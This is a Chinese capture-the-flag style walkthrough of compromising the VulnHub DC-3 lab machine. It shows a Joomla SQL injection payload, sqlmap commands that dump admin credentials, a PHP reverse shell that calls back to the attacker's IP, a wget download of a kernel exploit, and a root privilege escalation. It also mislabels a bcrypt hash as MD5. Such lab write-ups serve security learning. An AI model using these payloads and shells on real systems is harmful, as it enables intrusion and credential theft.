DC-3靶场实战详解
2022-1-26 18:35:23 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

环境安装

前面安装了老版本的DC-3几次,nmap都扫描不到机器,后来琢磨了很久也找不到问题,然后我去官网重新下载了个就没问题了

官网地址:https://www.vulnhub.com/entry/dc-32,312/

KALI和DC-3都用NAT模式.

image-20220126111501966

DC-3需要多修改一些东西

把IDE里面的改成IDE 0:0

image-20220126111733346

都完成后开启KALI与DC-3

寻找FLAG

信息收集

1.首先确认kali与DC-3所在网段

ip add 

image-20220126112423509

确认kali与DC-3所在网段为192.168.79.0/24网段

2.查找DC-3 ip 可以使用nmap 或者 arp-scan

方法一:
arp-scan -l
方法二:
nmap -sP 192.168.79.0/24

image-20220126112722328

image-20220126112652973

最终可以确认

kali :192.168.79.128

DC-3 :192.168.79.131

3.扫描DC-3开启的服务

nmap -v -A 192.168.79.131

image-20220126124409319

image-20220126124513610

通过扫描可以发现 DC-3开启了80端口 并且使用了Joomla! cms

4.访问网站192.168.79.131

202201261246433.png

5.扫描敏感目录看看

我这里使用的是7kbscan-WebPathBrute.1.6.2用御剑也是一样的

image-20220126125439174

image-20220126125421935

找到后台登录网站。

因为是常见的cms,所以我们直接扫Joomla! cms常见漏洞

漏洞扫描

1.安装onlinetool(在线cms识别|信息泄露|工控|系统|物联网安全|cms漏洞扫描|nmap端口扫描|子域名获取 在线工具安装)

地址 https://github.com/iceyhexman/onlinetools

我们这里kali 192.168.79.128 安教程部署就可以了

git clone https://github.com/iceyhexman/onlinetools.git
cd onlinetools
pip3 install -r requirements.txt
nohup python3 main.py &

2.安装完成后访问 http://192.168.79.128:8000/

image-20220126130011338

3.使用里面cms漏洞扫描

image-20220126130044512

image-20220126130149793

4.测试payload的有效性

payload:
http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,Md5(1234)),0)

image-20220126130303660

确认payload有效

5.既然是SQL注入漏洞 配合sqlmap 以及前面目录爆破出来的后台登录网站,来登录后台

我这里使用是sqlmap windows的版本

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs

//*表示注入位置
//查询所有数据库

image-20220126152329289

image-20220126152506635

得到下面5个数据库 既然是joomla! 那我们也顺其自然的查询joomladb 数据库

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables
//查joomladb 数据库下面的表

image-20220126152805130

image-20220126152831903

一共有8 90条 有一个#_users 看样子里面就应该有相关后台信息

接下来查询#_users表内的列名

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns
//查询#_users表内的列名

image-20220126153144402

都是一路y或者回车

image-20220126153328743

确定列名 账号密码一般为“username,password”

获得表中的账号密码

python sqlmap.py -u "http://192.168.79.131//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump
//读取指定字段内容

image-20220126153711605

image-20220126153732404

获得账号密码

+----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu | +----------+--------------------------------------------------------------+

6.密码为md5加密 可以使用kali内的john 解密

创建文件
touch admin.txt   #创建文件
vi admin.txt      #编辑
john admin.txt    #破解

ps:
因为我以前破解过使用所以显示这个
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)
这是以及破解过的意思
john --show admin.txt  #查看admin.txt以前破解过的结果

image-20220126154137187

得到密码为 :snoopy
  1. 登录后台

202201261550044.png

image-20220126155138389

反弹shell

通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本

image-20220126155322023

image-20220126155432643

随便找都可以,里面路径都有写

image-20220126155542785

当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.79.128", "5555");

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

image-20220126162946897

之后保存访问http://192.168.79.131/index.php

kali内使用nc 接受反弹的shell

nc -lvvp 5555

image-20220126163138366

浏览器访问http://192.168.79.131/index.php

可以发现kali内接收到shell

image-20220126163228079

python -c "import pty;pty.spawn('/bin/bash')"
//使用python 弄交互式页面

image-20220126163400015

发现权限不够

image-20220126163558791

提权

SUID啥的都不行,于是考虑系统漏洞提权

cat /etc/*release       #查看发行版信息

image-20220126173607424

cat /proc/version  #查看内核版本的全部信息

image-20220126174053528

可以判断为Ubuntu 16.04 LTS 内核为Linux 4.4.0-21

查看kali本地漏洞库里面的exp

searchsploit Ubuntu 16.04

image-20220126180522327

对应版本的几个都试了 发现 39772.txt可以

查看exp

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

写了exp地址

image-20220126180702393

本地下载即可

kali好像下载不了 我本地下载 然后拉到kali里面

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

image-20220126180918196

开启apache

systemctl start apache2.service

image-20220126180952210

移动39772.zip到指定的apache的目录下

mv 39772.zip /var/www/html

image-20220126181055139

浏览器访问 kali IP:192.168.79.128

image-20220126181231610

复制下载链接

http://192.168.79.128/39772.zip

回到前面的DC-3的shell中下载刚刚上传的exp

wget http://192.168.79.128/39772.zip

image-20220126181415708

解压exp

unzip 39772.zip         #解压39772.zip
cd 39772 #进入39772
tar -xvf exploit.tar #解压缩exploit.tar

image-20220126182103895

image-20220126182120869

进入 ebpf_mapfd_doubleput_exploit 运行exp

cd ebpf_mapfd_doubleput_exploit

image-20220126182233268

运行方法 前面kali里面 cat /usr/share/exploitdb/exploits/linux/local/39772.txt 文件内写了

image-20220126182328407

运行compile.sh , doubleput即可

./compile.sh
./doubleput

image-20220126182538031

等一两分钟就可以了

image-20220126182618079

FLAG

root目录下有flag,获得flag

cd /root
cat the-flag.txt

image-20220126182819138

总结

  • nmap,arp-scan主机扫描

  • cms漏洞扫描

  • sql注入漏洞sqlmap配合payload

  • 敏感目录爆破

  • php反弹shell的编写

  • 系统漏洞提权


文章来源: https://www.freebuf.com/articles/web/320968.html
如有侵权请联系:admin#unsafe.sh